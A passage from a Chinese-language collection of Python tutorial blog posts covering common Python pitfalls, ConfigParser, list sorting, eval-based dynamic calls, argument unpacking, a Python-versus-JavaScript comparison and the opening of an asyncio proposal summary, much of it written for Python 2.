上面的问题之所以会发生是因为当你给作用域中的一个变量赋值时，Python 会自动的把它当做是当前作用域的局部变量，从而会隐藏外部作用域中的同名变量。

很多人会感到很吃惊，当他们给之前可以正常运行的代码的函数体的某个地方添加了一句赋值语句之后就得到了一个 UnboundLocalError 的错误。
(你可以在这里了解到更多)

尤其是当开发者使用 lists 时，这个问题就更加常见.  请看下面这个例子：



    >>> lst = [1, 2, 3]  
    >>> def foo1():  
    ...     lst.append(5)   # 没有问题...  
    ...  
    >>> foo1()  
    >>> lst  
    [1, 2, 3, 5]  
     
    >>> lst = [1, 2, 3]  
    >>> def foo2():  
    ...     lst += [5]      # ... 但是这里有问题!  
    ...  
    >>> foo2()



Traceback (most recent call last):

  File "<stdin>", line 1, in <module>

  File "<stdin>", line 2, in foo

UnboundLocalError: local variable 'lst' referenced before assignment

嗯？为什么 foo2 报错，而foo1没有问题呢？

原因和之前那个例子的一样，不过更加令人难以捉摸。foo1 没有对 lst 进行赋值操作，而 foo2 做了。要知道， lst += [5] 是 lst =
lst + [5] 的缩写，我们试图对 lst 进行赋值操作（Python把他当成了局部变量）。此外，我们对 lst 进行的赋值操作是基于 lst
自身（这再一次被Python当成了局部变量），但此时还未定义。因此出错！

### 常见错误 5：当迭代时修改一个列表（List）

下面代码中的问题应该是相当明显的：



    >>> odd = lambda x : bool(x % 2)  
    >>> numbers = [n for n in range(10)]  
    >>> for i in range(len(numbers)):  
    ...     if odd(numbers[i]):  
    ...         del numbers[i]  # BAD: Deleting item from a list while iterating over it  
    ...

Traceback (most recent call last):

        File "<stdin>", line 2, in <module>

IndexError: list index out of range

当迭代的时候，从一个 列表 （List）或者数组中删除元素，对于任何有经验的开发者来说，这是一个众所周知的错误。尽管上面的例子非常明显，但是许多高级开发者在
更复杂的代码中也并非是故意而为之的。

幸运的是，Python包含大量简洁优雅的编程范例，若使用得当，能大大简化和精炼代码。这样的好处是能得到更简化和更精简的代码，能更好的避免程序中出现当迭代时修
改一个列表（List）这样的bug。一个这样的范例是递推式列表（list comprehensions）。而且，递推式列表（list
comprehensions）针对这个问题是特别有用的，通过更改上文中的实现，得到一段极佳的代码：



    >>> odd = lambda x : bool(x % 2)  
    >>> numbers = [n for n in range(10)]  
    >>> numbers[:] = [n for n in numbers if not odd(n)]  # ahh, the beauty of it all  
    >>> numbers  
    [0, 2, 4, 6, 8]

### 常见错误 6: 不明白Python在闭包中是如何绑定变量的

看下面这个例子：



    >>> def create_multipliers():  
    ...     return [lambda x : i * x for i in range(5)]  
    >>> for multiplier in create_multipliers():  
    ...     print multiplier(2)  
    ...

你也许希望获得下面的输出结果：

0

2

4

6

8

但实际的结果却是：

8

8

8

8

8

惊讶吧!

这之所以会发生是由于Python中的“后期绑定”行为——闭包中用到的变量只有在函数被调用的时候才会被赋值。所以，在上面的代码中，任何时候，当返回的函数被调用
时，Python会在该函数被调用时的作用域中查找 i 对应的值（这时，循环已经结束，所以 i 被赋上了最终的值——4）。

解决的方法有一点hack的味道：



    >>> def create_multipliers():  
    ...     return [lambda x, i=i : i * x for i in range(5)]  
    ...  
    >>> for multiplier in create_multipliers():  
    ...     print multiplier(2)  
    ...

0

2

4

6

8

在这里，我们利用了默认参数来生成一个匿名的函数以便实现我们想要的结果。有人说这个方法很巧妙，有人说它难以理解，还有人讨厌这种做法。但是，如果你是一个
Python 开发者，理解这种行为很重要。

### 常见错误 7: 创建循环依赖模块

让我们假设你有两个文件，a.py 和 b.py，他们之间相互引用，如下所示：

a.py:



    import b  
    def f():  
        return b.x    
    print f()

b.py:



    import a  
    x = 1 
    def g():  
        print a.f()

首先，让我们尝试引入 a.py：

>>> import a

1

可以正常工作。这也许是你感到很奇怪。毕竟，我们确实在这里引入了一个循环依赖的模块，我们推测这样会出问题的，不是吗？

答案就是在Python中，仅仅引入一个循环依赖的模块是没有问题的。如果一个模块已经被引入了，Python并不会去再次引入它。但是，根据每个模块要访问其他模块
中的函数和变量位置的不同，就很可能会遇到问题。

所以，回到我们这个例子，当我们引入 a.py 时，再引入 b.py 不会产生任何问题，因为当引入的时候，b.py 不需要 a.py 中定义任何东西。b.py
中唯一引用 a.py 中的东西是调用 a.f()。 但是那个调用是发生在g() 中的，并且 a.py 和 b.py 中都没有调用 g()。所以运行正常。

但是，如果我们尝试去引入b.py 会发生什么呢？（在这之前不引入a.py），如下所示:



    >>> import b

Traceback (most recent call last):

        File "<stdin>", line 1, in <module>

        File "b.py", line 1, in <module>

    import a

        File "a.py", line 6, in <module>

    print f()

        File "a.py", line 4, in f

    return b.x

AttributeError: 'module' object has no attribute 'x'

啊哦。 出问题了！此处的问题是，在引入b.py的过程中，Python尝试去引入 a.py，但是a.py 要调用f()，而f() 有尝试去访问
b.x。但是此时 b.x 还没有被定义呢。所以发生了 AttributeError 异常。

至少，解决这个问题很简单，只需修改b.py，使其在g()中引入 a.py：



    x = 1 
    def g():  
        import a    # 只有当g()被调用的时候才会引入a  
        print a.f()

现在，当我们再引入b，没有任何问题：



    >>> import b  
    >>> b.g()  
    1    # Printed a first time since module 'a' calls 'print f()' at the end  
    1    # Printed a second time, this one is our call to 'g'


    常见错误 8: 与Python标准库中的模块命名冲突

Python一个令人称赞的地方是它有丰富的模块可供我们“开箱即用”。但是，如果你没有有意识的注意的话，就很容易出现你写的模块和Python自带的标准库的模块
之间发生命名冲突的问题（如，你也许有一个叫 email.py 的模块，但这会和标准库中的同名模块冲突）。

这可能会导致很怪的问题，例如，你引入了另一个模块，但这个模块要引入一个Python标准库中的模块，由于你定义了一个同名的模块，就会使该模块错误的引入了你的模
块，而不是 stdlib 中的模块。这就会出问题了。

因此，我们必须要注意这个问题，以避免使用和Python标准库中相同的模块名。修改你包中的模块名要比通过 Python Enhancement
Proposal (PEP) 给Python提建议来修改标准库的模块名容易多了。

常见错误 #9: 未能解决Python 2和Python 3之间的差异

请看下面这个 filefoo.py:



    import sys  
    def bar(i):  
        if i == 1:  
            raise KeyError(1)  
        if i == 2:  
            raise ValueError(2)  
     
    def bad():  
        e = None 
        try:  
            bar(int(sys.argv[1]))  
        except KeyError as e:  
            print('key error')  
        except ValueError as e:  
            print('value error')  
        print(e)  
     
    bad()

在Python 2中运行正常：

$ python foo.py 1

key error

1

$ python foo.py 2

value error

2

但是，现在让我们把它在Python 3中运行一下：

$ python3 foo.py 1

key error

Traceback (most recent call last):

  File "foo.py", line 19, in <module>

    bad()

  File "foo.py", line 17, in bad

    print(e)

UnboundLocalError: local variable 'e' referenced before assignment

出什么问题了？ “问题”就是，在 Python 3 中，异常的对象在 except
代码块之外是不可见的。（这样做的原因是，它将保存一个对内存中堆栈帧的引用周期，直到垃圾回收器运行并且从内存中清除掉引用。了解更多技术细节请参考这里） 。

一种解决办法是在 except 代码块的外部作用域中定义一个对异常对象的引用，以便访问。下面的例子使用了该方法，因此最后的代码可以在Python 2 和
Python 3中运行良好。



    import sys  
    def bar(i):  
        if i == 1:  
            raise KeyError(1)  
        if i == 2:  
            raise ValueError(2)  
    def good():  
        exception = None 
        try:  
            bar(int(sys.argv[1]))  
        except KeyError as e:  
            exception = e  
            print('key error')  
        except ValueError as e:  
            exception = e  
            print('value error')  
        print(exception)  
     
    good()

在Py3k中运行:

$ python3 foo.py 1

key error

1

$ python3 foo.py 2

value error

2

正常!

(顺便提一下, 我们的 Python Hiring Guide 讨论了当我们把代码从Python 2 迁移到 Python
3时的其他一些需要知道的重要差异。)

### 常见错误 10: 误用__del__方法

假设你有一个名为 calledmod.py 的文件：



    import foo  
    class Bar(object):  
               ...  
        def __del__(self):  
            foo.cleanup(self.myhandle)

并且有一个名为 another_mod.py 的文件：

import mod

mybar = mod.Bar()

你会得到一个 AttributeError 的异常。

为什么呢？因为，正如这里所说，当解释器退出的时候，模块中的全局变量都被设置成了 None。所以，在上面这个例子中，当 __del__ 被调用时，foo
已经被设置成了None。

解决方法是使用 atexit.register() 代替。用这种方式，当你的程序结束执行时（意思是正常退出），你注册的处理程序会在解释器退出之前执行。

了解了这些，我们可以将上面 mod.py 的代码修改成下面的这样：



    import foo  
    import atexit  
    def cleanup(handle):  
        foo.cleanup(handle)  
    class Bar(object):  
        def __init__(self):  
            ...  
            atexit.register(cleanup, self.myhandle)

这种实现方式提供了一个整洁并且可信赖的方法用来在程序退出之前做一些清理工作。很显然，它是由foo.cleanup 来决定对绑定在 self.myhandle
上对象做些什么处理工作的，但是这就是你想要的。

总结

Python是一门强大的并且很灵活的语言，它有很多机制和语言规范来显著的提高你的生产力。和其他任何一门语言或软件一样，如果对它能力的了解有限，这很可能会给你
带来阻碍，而不是好处。正如一句谚语所说的那样 “knowing enough to be
dangerous”（译者注：意思是自以为已经了解足够了，可以做某事了，但其实不是）。

熟悉Python的一些关键的细微之处，像本文中所提到的那些（但不限于这些），可以帮助我们更好的去使用语言，从而避免一些常见的陷阱。

Python 解析配置模块之ConfigParser详解

2018-01-01T00:00:00+08:00

# Python 解析配置模块之ConfigParser详解

1.基本的读取配置文件

> -read(filename) 直接读取ini文件内容

>

> -sections() 得到所有的section，并以列表的形式返回

>

> -options(section) 得到该section的所有option

>

> -items(section) 得到该section的所有键值对

>

> -get(section,option) 得到section中option的值，返回为string类型

>

> -getint(section,option)
得到section中option的值，返回为int类型，还有相应的getboolean()和getfloat() 函数。

2.基本的写入配置文件

> -add_section(section) 添加一个新的section

>

> -set( section, option, value) 对section中的option进行设置，需要调用write将内容写入配置文件。



3.基本例子

test.conf



    [sec_a] 
    a_key1 = 20 
    a_key2 = 10 
      
    [sec_b] 
    b_key1 = 121 
    b_key2 = b_value2 
    b_key3 = $r 
    b_key4 = 127.0.0.1

parse_test_conf.py



    import ConfigParser 
    cf = ConfigParser.ConfigParser() 
    #read config 
    cf.read("test.conf") 
    # return all section 
    secs = cf.sections() 
    print 'sections:', secs 
      
    opts = cf.options("sec_a") 
    print 'options:', opts 
      
    kvs = cf.items("sec_a") 
    print 'sec_a:', kvs 
      
    #read by type 
    str_val = cf.get("sec_a", "a_key1") 
    int_val = cf.getint("sec_a", "a_key2") 
      
    print "value for sec_a's a_key1:", str_val 
    print "value for sec_a's a_key2:", int_val 
      
    #write config 
    #update value 
    cf.set("sec_b", "b_key3", "new-$r") 
    #set a new value 
    cf.set("sec_b", "b_newkey", "new-value") 
    #create a new section 
    cf.add_section('a_new_section') 
    cf.set('a_new_section', 'new_key', 'new_value') 
      
    #write back to configure file 
    cf.write(open("test.conf", "w"))

得到终端输出：



    sections: ['sec_b', 'sec_a'] 
    options: ['a_key1', 'a_key2'] 
    sec_a: [('a_key1', "i'm value"), ('a_key2', '22')] 
    value for sec_a's a_key1: i'm value 
    value for sec_a's a_key2: 22

更新后的test.conf



    [sec_b] 
    b_newkey = new-value 
    b_key4 = 127.0.0.1 
    b_key1 = 121 
    b_key2 = b_value2 
    b_key3 = new-$r 
      
    [sec_a] 
    a_key1 = i'm value 
    a_key2 = 22 
      
    [a_new_section] 
    new_key = new_value

4.Python的ConfigParser Module中定义了3个类对INI文件进行操作。分别是RawConfigParser、ConfigParser、
SafeConfigParser。RawCnfigParser是最基础的INI文件读取类，ConfigParser、SafeConfigParser支持对%
(value)s变量的解析。

设定配置文件test2.conf



    [portal] 
    url = http://%(host)s:%(port)s/Portal 
    host = localhost 
    port = 8080

使用RawConfigParser：



    import ConfigParser 
     
    cf = ConfigParser.RawConfigParser() 
     
    print "use RawConfigParser() read" 
    cf.read("test2.conf") 
    print cf.get("portal", "url") 
     
    print "use RawConfigParser() write" 
    cf.set("portal", "url2", "%(host)s:%(port)s") 
    print cf.get("portal", "url2")

得到终端输出：



    use RawConfigParser() read 
    http://%(host)s:%(port)s/Portal 
    use RawConfigParser() write 
    %(host)s:%(port)s

改用ConfigParser：



    import ConfigParser 
     
    cf = ConfigParser.ConfigParser() 
     
    print "use ConfigParser() read" 
    cf.read("test2.conf") 
    print cf.get("portal", "url") 
     
    print "use ConfigParser() write" 
    cf.set("portal", "url2", "%(host)s:%(port)s") 
    print cf.get("portal", "url2")

得到终端输出：



    use ConfigParser() read 
    http://localhost:8080/Portal 
    use ConfigParser() write 
    localhost:8080

改用SafeConfigParser：



    import ConfigParser 
     
    cf = ConfigParser.SafeConfigParser() 
     
    print "use SafeConfigParser() read" 
    cf.read("test2.conf") 
    print cf.get("portal", "url") 
     
    print "use SateConfigParser() write" 
    cf.set("portal", "url2", "%(host)s:%(port)s") 
    print cf.get("portal", "url2")

得到终端输出(效果同ConfigParser)：



    use SafeConfigParser() read 
    http://localhost:8080/Portal 
    use SateConfigParser() write 
    localhost:8080

Python 列表排序方法reverse、sort、sorted详解

2018-01-01T00:00:00+08:00

# Python 列表排序方法reverse、sort、sorted详解

python语言中的列表排序方法有三个：reverse反转/倒序排序、sort正序排序、sorted可以获取排序后的列表。在更高级列表排序中，后两中方法还可
以加入条件参数进行排序。

### reverse()方法

将列表中元素反转排序，比如下面这样



    >>> x = [1,5,2,3,4]
    >>> x.reverse()
    >>> x
    [4, 3, 2, 5, 1]

reverse列表反转排序：是把原列表中的元素顺序从左至右的重新存放，而不会对列表中的参数进行排序整理。如果需要对列表中的参数进行整理，就需要用到列表的另一
种排序方式sort正序排序。

### sort()排序方法

此函数方法对列表内容进行正向排序，排序后的新列表会覆盖原列表（id不变），也就是sort排序方法是直接修改原列表list排序方法。



    >>> a = [5,7,6,3,4,1,2]
    >>> a.sort()
    >>> a
    [1, 2, 3, 4, 5, 6, 7]

许多python初学者，对sort()方法比较糊涂。有的时候会需要一个排序好的列表，而又想保存原有未排序列表，他们会这么操作：



    >>> a = [5,7,6,3,4,1,2]
    >>> b = a.sort()
    >>> print b
    None

这个时候问题出现了，变量b得到的是一个空值。那么想要得到排序好的列表，又想保留原列表怎么办呢？列表sorted()方法可以帮你实现。

### sorted()方法

即可以保留原列表，又能得到已经排序好的列表sorted()操作方法如下：



    >>> a = [5,7,6,3,4,1,2]
    >>> b = sorted(a)
    >>> a
    [5, 7, 6, 3, 4, 1, 2]
    >>> b
    [1, 2, 3, 4, 5, 6, 7]

sorted()方法可以用在任何数据类型的序列中，返回的总是一个列表形式：



    >>> sorted('iplaypython.com')
    ['.', 'a', 'c', 'h', 'i', 'l', 'm', 'n', 'o', 'o', 'p', 'p', 't', 'y', 'y']

### 三者的区别

sort()是可变对象(字典、列表)的方法，无参数，无返回值，sort()会改变可变对象，因此无需返回值。sort()方法是可变对象独有的方法或者属性，而作
为不可变对象如元组、字符串是不具有这些方法的，如果调用将会返回一个异常。



    >>> a=[5,4,3,2,1]
    >>> a.sort()
    >>> 
    >>> a
    [1, 2, 3, 4, 5]



sorted()是python的内置函数，并不是可变对象(列表、字典)的特有方法，sorted()函数需要一个参数(参数可以是列表、字典、元组、字符串)，无
论传递什么参数，都将返回一个以列表为容器的返回值，如果是字典将返回键的列表。



    >>> mystring="54321"
    >>> mytuple=(5,4,3,2,1)
    >>> mylist=[5,4,3,2,1]
    >>> sorted(mystring)
    ['1', '2', '3', '4', '5']
    >>> sorted(mytuple)
    [1, 2, 3, 4, 5]
    >>> sorted(mylist)
    [1, 2, 3, 4, 5]



reverse()与sort的使用方式一样，而reversed()与sorted()的使用方式相同



    >>> mylist=[5,4,3,2,1]
    >>> mylist.reverse()
    >>> mylist
    [1, 2, 3, 4, 5]
    >>> mylist=[5,4,3,2,1]
    >>> for i in reversed(mylist):
    ...   print i,
    ... 
    1 2 3 4 5



通过序列的切片也可以达到“逆转”的效果



    >>> mystring="54321"
    >>> mytuple=(5,4,3,2,1)
    >>> mylist=[5,4,3,2,1]
    >>> mystring[::-1]
    '12345'
    >>> mytuple[::-1]
    (1, 2, 3, 4, 5)
    >>> mylist[::-1]
    [1, 2, 3, 4, 5]

Python 如何将一变量做为函数名？

2018-01-01T00:00:00+08:00

# Python 如何将一变量做为函数名？

PHP 有变量函数这一用法（见 http://www.php.net/manual/en/functions.variable-functions.php）

即有一字符串变量

现在想用这个变量的值做为某函数名来调用

代码如下：



    def bar():
        return 'bar'
    foo = 'bar'
    foo() #此处想调用 bar()

不知道 Python 是否有此类用法？

哈哈，python是这么强大，python当然也是可以支持的

python有个eval函数（貌似好多语言都有这个函数）可以解决这个问题。

代码如下：



    def foo():
      print 'hi'
    t = eval('foo')
    t()

问题二：python可以import一个为某变量值的模块吗？



    foo = 'bar'
    import foo #此处想导入 bar

这个地方要用到另外一个函数了。。。

上代码：



    m = 'sys'
    exec "import " +　m

这样就ok了

Python 序列与映射的解包操作

2018-01-01T00:00:00+08:00

# Python 序列与映射的解包操作

解包就是把序列或映射中每个元素单独提取出来，序列解包的一种简单用法就是把首个或前几个元素与后面几个元素分别提取出来，例如：

first, seconde, *rest = sequence

如果sequence里至少有三个元素，那么执行完上述代码后，first == sequence[0], second == sequence[0],
rest == sequence[2:]。

函数接收不确定参数

当函数的参数不确定时，可以使用*args 和**kwargs，*args 没有key值，**kwargs有key值。



    #!/usr/bin/python
    # -*- coding:utf-8 -*-
    import sys
    reload(sys)
    sys.setdefaultencoding('utf-8')
     
    '''
    当函数的参数不确定时，可以使用*args 和**kwargs，*args 没有key值，**kwargs有key值。
     
    '''
     
    def fun_var_args_kwargs(data1, *args, **kwargs):
        print 'data1:', type(data1), data1
        print '*args:', type(args), args
        print '**kwargs:', type(kwargs), kwargs
     
    fun_var_args_kwargs('this is data1', 2, '3', 4.0, k1='value1', k2='value2')
     
    print '-------------'
     
    def print_args(*args, **kwargs):
        print args.__class__.__name__, args, kwargs.__class__.__name__, kwargs
     
    print_args()
    print_args(1, 2, 3, a='A')

打印结果：



    data1: <type 'str'> this is data1
    *args: <type 'tuple'> (2, '3', 4.0)
    **kwargs: <type 'dict'> {'k2': 'value2', 'k1': 'value1'}
    -------------
    tuple () dict {}
    tuple (1, 2, 3) dict {'a': 'A'}

Python 与 Javascript 比较

2018-01-01T00:00:00+08:00

# Python 与 Javascript 比较

最近由于工作的需要开始开发一些Python的东西，由于之前一直在使用Javascript，所以会不自觉的使用一些Javascript的概念，语法什么的，经常
掉到坑里。我觉得对于从Javascript转到Python，有必要总结一下它们之间的差异。

基本概念

Python和Javascript都是脚本语言，所以它们有很多共同的特性，都需要解释器来运行，都是动态类型，都支持自动内存管理,都可以调用eval（）来执行
脚本等等脚本语言所共有的特性。

然而它们也有很大的区别，Javascript这设计之初是一种客户端的脚本语言，主要应用于浏览器，它的语法主要借鉴了C，而Python由于其“优雅”，“明确”
，“简单”的设计而广受欢迎，被应用于教育，科学计算，web开发等不同的场景中。

编程范式

Python和Javascript都支持多种不同的编程范式，在面向对象的编程上面，它们有很大的区别。Javascript的面向对象是基于原型（prototy
pe）的， 对象的继承是由原型（也是对象）创建出来的，由原型对象创建出来的对象继承了原型链上的方法。而Python则是中规中矩的基于类（class）的继承，
并天然的支持多态（polymophine）。

OO in Pyhton



    class Employee:
       'Common base class for all employees'
       empCount = 0 ##类成员
     
       def __init__(self, name, salary):
          self.name = name
          self.salary = salary
          Employee.empCount += 1
        
       def displayCount(self):
         print "Total Employee %d" % Employee.empCount
     
       def displayEmployee(self):
          print "Name : ", self.name,  ", Salary: ", self.salary
    ## 创建实例
    ea = Employee("a",1000)
    eb = Employee("b",2000)
    OO in Javascript
    var empCount = 0;
    //构造函数
    function Employee(name, salary){
        this.name = name;
        this.salary = salary;   
        this.empCount += 1;
    }
     
    Employee.prototype.displayCount = function(){
        console.log("Total Employee " + empCount );
    }
     
    Employee.prototype.displayEmployee = function(){
        console.log("Name " + this.name + ", Salary " + this.salary );
    }
    //创建实例
    var ea = new Employee("a",1000);
    var eb = new Employee("b",2000);

因为是基于对象的继承，在Javascript中，我们没有办法使用类成员empCount，只好声明了一个全局变量，当然实际开发中我们会用更合适的scope。注
意Javascript创建对象需要使用new关键字，而Python不需要。

除了原生的基于原型的继承，还有很多利用闭包或者原型来模拟类继承的Javascript OO工具，因为不是语言本身的属性，我们就不讨论了。

线程模型

在Javascript的世界中是没有多线程的概念的，并发使用过使用事件驱动的方式来进行的，
所有的JavaScript程序都运行在一个线程中。在HTML5中引入web worker可以并发的处理任务，但没有改变Javascript单线程的限制。

Python通过thread包支持多线程。

不可改变类型 （immutable type）

在Python中，有的数据类型是不可改变的，也就意味着这种类型的数据不能被修改，所有的修改都会返回新的对象。而在Javascript中所有的数据类型都是可以
改变的。Python引入不可改变类型我认为是为了支持线程安全，而因为Javascript是单线程模型，所以没有必要引入不可改变类型。

当然在Javascript可以定义一个对象的属性为只读。



    var obj = {};Object.defineProperty(obj, "prop", {
        value: "test",
        writable: false});

在ECMAScript5的支持中，也可以调用Object的freeze方法来是对象变得不可修改。

Object.freeze(obj)

数据类型

Javascript的数据类型比较简单，有object、string、boolean、number、null和undefined，总共六种

Python中一切均为对象，像module、function、class等等都是。

Python有五个内置的简单数据类型bool、int、long、float和complex，另外还有容器类型，代码类型，内部类型等等。

布尔

Javascript有true和false。Python有True和False。它们除了大小写没有什么区别。

字符串

Javascript采用UTF16编码。

Python使用ASCII码。需要调用encode、decode来进行编码转换。使用u作为前缀可以指定字符串使用Unicode编码。

数值

Javascript中所有的数值类型都是实现为64位浮点数。支持NaN(Not a number)，正负无穷大（+/-Infiity）。

Python拥有诸多的数值类型，其中的复数类型非常方便，所以在Python在科研和教育领域很受欢迎。这应该也是其中一个原因吧。Python中没有定义NaN，
除零操作会引发异常。

列表

Javascript内置了array类型（array也是object）

Python的列表（List）和Javascript的Array比较接近，而元组（Tuple）可以理解为不可改变的列表。

除了求长度在Python中是使用内置方法len外，基本上Javascript和Python都提供了类似的方法来操作列表。Python中对列表下标的操作非常灵
活也非常方便，这是Javascript所没有的。例如l[5:-1],l[:6]等等。

字典、哈希表、对象

Javascript中大量的使用{}来创建对象，这些对象和字典没有什么区别，可以使用[]或者.来访问对象的成员。可以动态的添加，修改和删除成员。可以认为对象
就是Javascript的字典或者哈希表。对象的key必须是字符串。

Python内置了哈希表（dictS），和Javascript不同的是，dictS可以有各种类型的key值。

空值

Javascript定义了两种空值。 undefined表示变量没有被初始化，null表示变量已经初始化但是值为空。

Python中不存在未初始化的值，如果一个变量值为空，Python使用None来表示。

Javascript中变量的声明和初始化



    v1;
    v2 = null;
    var v3;
    var v4 = null;
    var v5 = 'something';

在如上的代码中v1是全局变量，未初始化，值为undefined；v2是全局变量，初始化为空值；v3为局部未初始化变量，v4是局部初始化为空值的变量；v5是局
部已初始化为一个字符处的变量。

Python中变量的声明和初始化

v1 = None

v2 = 'someting'

Python中的变量声明和初始化就简单了许多。当在Python中访问一个不存在的变量时，会抛出NameError的异常。当访问对象或者字典的值不存在的时候，
会抛出AttributeError或者KeyError。因此判断一个值是否存在在Javascript和Python中需要不一样的方式。

Javascript中检查某变量的存在性：



    if (!v ) {
        // do something if v does not exist or is null or is false
    }
     
    if (v === undefined) {
        // do something if v does not initialized
    }

注意使用!v来检查v是否初始化是有歧义的因为有许多种情况!v都会返回true

Python中检查某变量的存在性：



    try:
        v
    except NameError
        ## do something if v does not exist

在Python中也可以通过检查变量是不是存在于局部locals（）或者全局globals（）来判断是否存在该变量。

类型检查

Javascript可以通过typeof来获得某个变量的类型：

typeof in Javascript 的例子：



    typeof 3 // "number"
    typeof "abc" // "string"
    typeof {} // "object"
    typeof true // "boolean"
    typeof undefined // "undefined"
    typeof function(){} // "function"
    typeof [] // "object"
    typeof null // "object"

要非常小心的使用typeof，从上面的例子你可以看到，typeof null居然是object。因为javscript的弱类型特性，想要获得更实际的类型，还
需要结合使用instanceof，constructor等概念。具体请参考这篇文章

Python提供内置方法type来获得数据的类型。



    >>> type([]) is list
    True
    >>> type({}) is dict
    True
    >>> type('') is str
    True
    >>> type(0) is int
    True

同时也可以通过isinstance()来判断类的类型



    class A:
        pass
    class B(A):
        pass
    isinstance(A(), A)  # returns True
    type(A()) == A      # returns True
    isinstance(B(), A)    # returns True
    type(B()) == A        # returns False

但是注意Python的class style发生过一次变化，不是每个版本的Python运行上述代码的行为都一样，在old
style中，所有的实例的type都是‘instance’，所以用type方法来检查也不是一个好的方法。这一点和Javascript很类似。

自动类型转换

当操作不同类型一起进行运算的时候，Javascript总是尽可能的进行自动的类型转换，这很方便，当然也很容易出错。尤其是在进行数值和字符串操作的时候，一不小
心就会出错。我以前经常会计算SVG中的各种数值属性，诸如x，y坐标之类的，当你一不小心把一个字符串加到数值上的时候，Javascript会自动转换出一个数值
，往往是NaN，这样SVG就完全画不出来啦，因为自动转化是合法的，找到出错的地方也非常困难。

Python在这一点上就非常的谨慎，一般不会在不同的类型之间做自动的转换。

语法

风格

Python使用缩进来决定逻辑行的结束非常具有创造性，这也许是Python最独特的属性了，当然也有人对此颇具微词，尤其是需要修改重构代码的时候，修改缩进往往
会引起不小的麻烦。

Javascript虽然名字里有Java，它的风格也有那么一点像Java，可是它和Java就好比雷峰塔和雷锋一样，真的没有半毛钱的关系。到时语法上和C比较类
似。这里必须要提到的是coffeescript作为构建与Javascript之上的一种语言，采用了类似Python的语法风格，也是用缩进来决定逻辑行。

Python风格



    def func(list):
        for i in range(0,len(list)):
            print list[i]
    Javascript风格
    function funcs(list) {
        for(var i=0, len = list.length(); i < len; i++) {
            console.log(list[i]);
        }
    }

从以上的两个代码的例子可以看出，Python确实非常简洁。

作用范围和包管理

Javascript的作用域是由方法function来定义的，也就是说同一个方法内部拥有相同的作用域。这个严重区别与C语言使用{}来定义的作用域。Closu
re是Javascript最有用的一个特性。

Python的作用域是由module，function，class来定义的。

Python的import可以很好的管理依赖和作用域，而Javascript没有原生的包管理机制，需要借助AMD来异步的加载依赖的js文件，requirej
s是一个常用的工具。

赋值逻辑操作符

Javascript使用=赋值，拥有判断相等（==）和全等（===）两种相等的判断。其它的逻辑运算符有&& 和||，和C语言类似。

Python中没有全等，或和与使用的时and 和 or，更接近自然语言。Python中没有三元运算符 A ：B ？C，通常的写法是

（A and B) or C

因为这样写有一定的缺陷，也可以写作

 B if A else C

Python对赋值操作的一个重要的改进是不允许赋值操作返回赋值的结果，这样做的好处是避免出现在应该使用相等判断的时候错误的使用了赋值操作。因为这两个操作符实
在太像了，而且从自然语言上来说它们也没有区别。

++运算符

Python不支持++运算符，没错你再也不需要根据++符号在变量的左右位置来思考到底是先加一再赋值呢还是先赋值再加一。

连续赋值

利用元组（tuple），Python可以一次性的给多个变量赋值

(MONDAY, TUESDAY, WEDNESDAY, THURSDAY, FRIDAY, SATURDAY, SUNDAY) = range(7)

函数参数

Python的函数参数支持命名参数和可选参数（提供默认值），使用起来很方便，Javascript不支持可选参数和默认值（可以通过对arguments的解析来
支持）

def info(object, spacing=10, collapse=1):

    ... ...

其它

立即调用函数表达式 （IIFE）

Javascript的一个方便的特性是可以立即调用一个刚刚声明的匿名函数。也有人称之为自调用匿名函数。

下面的代码是一个module模式的例子，使用闭包来保存状态实现良好的封装。这样的代码可以用在无需重用的场合。



    var counter = (function(){
        var i = 0;
        return {
            get: function(){
                return i;
                },
            set: function( val ){
                i = val;
                },
            increment: function() {
                return ++i;
                }
            };
        }());

Python没有相应的支持。

生成器和迭代器（Generators & Iterator）

在我接触到的Python代码中，大量的使用这样的生成器的模式。

Python生成器的例子



    # a generator that yields items instead of returning a list
    def firstn(n):
        num = 0
        while num < n:
            yield num
            num += 1
       
    sum_of_first_n = sum(firstn(1000000))

Javascript1.7中引入了一些列的新特性，其中就包括生成器和迭代器。然而大部分的浏览器除了Mozilla（Mozilla基本上是在自己玩，下一代的J
avascript标准应该是ECMAScript5）都不支持这些特性

Javascript1.7 迭代器和生成器的例子。



    function fib() {
      var i = 0, j = 1;
      while (true) {
        yield i;
        var t = i;
        i = j;
        j += t;
      }
    }；
     
    var g = fib();
    for (var i = 0; i < 10; i++) {
      console.log(g.next());
    }

列表（字典、集合）映射表达式 （List、Dict、Set Comprehension）

Python的映射表达式可以非常方便的帮助用户构造列表、字典、集合等内置数据类型。

下面是列表映射表达式使用的例子：



    >>> [x + 3 for x in range(4)]
    [3, 4, 5, 6]
    >>> {x + 3 for x in range(4)}
    {3, 4, 5, 6}
    >>> {x: x + 3 for x in range(4)}
    {0: 3, 1: 4, 2: 5, 3: 6}

Javascript1.7开始也引入了Array Comprehension



    var numbers = [1, 2, 3, 4];
    var doubled = [i * 2 for (i of numbers)];

Lamda表达式 （Lamda Expression ）

Lamda表达式是一种匿名函数，基于著名的λ演算。许多语言诸如C#，Java都提供了对lamda的支持。Pyhton就是其中之一。Javascript没有提
供原生的Lamda支持。但是有第三方的Lamda包。

g = lambda x : x*3

装饰器（Decorators）

Decorator是一种设计模式，大部分语言都可以支持这样的模式，Python提供了原生的对该模式的支持，算是一种对程序员的便利把。

Decorator的用法如下。



    @classmethod
    def foo (arg1, arg2):
        ....

Python 支持重启的异步 IO

2018-01-01T00:00:00+08:00

# Python 支持重启的异步 IO

摘要



这是一份从Python3.3开始的Python3异步I/O提议。研究从PEP 3153缺失的具体提议。
这提议包括了一个可插入式的事件循环API，传输和与Twisted相似的协议抽象，以及来自(PEP 380)
基于yield的更高级的调度器。一份作品里的参考实现，它的代码命名为Tulip（Tulip的repo的链接放在文章最后的参考文献分段里）。

介绍



事件循环常用于互操作性较高的地方。对于像Twisted、Tornado或者ZeroMQ这类（基于Python3.3的）框架，它应该是容易去根据框架的需求通过
轻量级封装或者代理去适配默认的事件循环实现，或者是用它们自己的事件循环实现去替代默认的实现。（一些像Twisted的框架，拥有多种的事件循环实现。由于这些实
现都具有统一的接口，所以这应该不会成为问题。）

事件循环甚至有可能存在两个不同的第三方框架交互，通过共享默认事件循环实现（各自使用自己的适配器），或者是通过共享其中一个框架的事件循环实现。在后者，两种不同
级别的适配可能会存在（从框架A的事件循环到标准事件循环接口，然后从标准的再到框架B的事件循环）。被使用的事件循环实现应该在主程序的控制之下（尽管提供了事件循
环可以选择的默认策略）。

因此，两个单独的API被定义：

